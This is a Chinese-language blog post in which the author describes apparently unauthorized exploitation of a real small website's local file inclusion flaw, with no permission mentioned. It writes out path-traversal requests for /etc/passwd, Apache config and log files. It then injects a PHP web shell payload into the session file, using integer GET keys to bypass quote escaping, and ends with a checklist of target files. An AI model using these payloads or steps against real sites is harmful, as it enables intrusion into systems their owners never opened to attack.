透過 LFI 引入 PHP session 檔案觸發 RCE
先前因為朋友分享而得知某個小站具有 LFI 漏洞,於是就想嘗試著觸發 RCE,但發現主機上檔案權限蠻嚴格的,幸好最終還是成功透過 session 檔案觸發,因為過程有幾個蠻有趣的小細節,就趕緊寫篇文章作個筆記。
該網站發生 LFI 的點原始路徑是長類似這個樣子
/file.php?file=index.html
透過以下幾個測試確認存在 LFI 漏洞
/file.php?file=./index.html <- 存在 /file.php?file=../index.html <- 不存在 /file.php?file=../../../../../etc/passwd <- 成功顯示 passwd 內容
但因為測試發現 include 語句前方串接了額外的資料夾路徑,無法嘗試 PHP Wrapper、RFI (Remote File Inclusion),猜測原始碼可能會類似
include(INCLUDE_DIRECTORY . $_GET['file']);
也沒發現能直接上傳檔案的入口,因此把策略轉為嘗試引入含有環境變數、Access Log 或其他可能含有使用者提供的資料的檔案。
首先嘗試環境變數的檔案
/file.php?file=../../../../../proc/self/environ
可惜結果是失敗,可能是不夠權限進行讀取,再將目標轉移到網頁的 Access Log、Error Log,首先嘗試取得 Web Server config,順利發現在預設路徑的 Apache httpd.conf
/file.php?file=../../../../../etc/httpd/conf/httpd.conf
並且依據設定檔內容確定 Log 檔案在 /etc/httpd/logs/access_log,但經測試無論是 access_log 還是 error_log 都無法被順利引入,應該也是讀取權限不足所導致。
到這邊因為經驗不足,已經沒有想法了,只好開始上網爬大量資料,發現有文章表示除了以上幾種常見檔案,還可以嘗試 session 檔案,同時也注意到該網站確實有啟用 session 功能,心想在某些情況下,或許能控制到 session 檔案的內容。二話不說直接引入 session 檔案。(預設檔案路徑通常是 /tmp/sess_{SESSION_ID} )
/file.php?file=../../../../../tmp/sess_{SESSION_ID}
沒想到一次就中大獎,更讓人高興的是注意到出現的內容含有「file」關鍵字。
這表示 GET 參數的內容被儲存至 session 中,既然如此,那就可以直接在 GET 參數上注入可執行的 payload,但因為包含進來的 session 內容會是上一次請求時的內容,必須先對網站請求一次使 payload 儲存至 session 中,才能引入 payload 讓其執行。
初步測試直接執行
/file.php ?file=../../../../../tmp/sess_{ID} &a=<?php system($_GET['b']); ?> &b=ls -la
但結果卻是失敗的,理由是引號「 ' 」、「 " 」都被網站跳脫成「 ' 」、「 " 」。
此處就必須用到 PHP Array 的一個有趣特性,依據官方的說法
包含有合法整數型值的字符串會被轉換為整數型。例如鍵名 "8" 實際會被儲存為 8。但是 "08" 則不會強制轉換,因為其不是一個合法的十進制數值。
這意味著當請求的 GET 參數長這個樣子
/file.php?1=Hello,world!
我們就可以透過 $_GET['1'] 或 $_GET[1] 取得 'Hello,world!' 的字串
即便引號被跳脫,我們仍然能順利獲取 GET 參數的內容,所以只要將原本的 payload 替換成以 $_GET[1] 獲取指令即可。
/file.php ?file=../../../../../tmp/sess_{SESSION_ID} &a=<?php system($_GET[1]); ?> &1=ls -la
於是乎 ~~ bang ~~
一個新鮮的 Web Shell 就取得了!
總結一下此次經驗
-
當遇到 LFI 漏洞時,可以先檢查一下幾種可能的檔案:
- /etc/passwd
- /proc/self/environ
- All possible config files ( e.g. Apache /etc/httpd/conf/httpd.conf )
- Web server access, error log ( e.g. /etc/httpd/logs/access_log )
- Session files ( e.g. /tmp/sess_{SESSION_ID} )
-
PHP 使用 $_GET[1]、$_POST[1] 可以避開引號跳脫的問題。
08/30 補充
後來有朋友告訴我 $_GET[a] 不加單引號也可以執行,但我最初在嘗試時卻失敗,有可能是打錯字了 Q__Q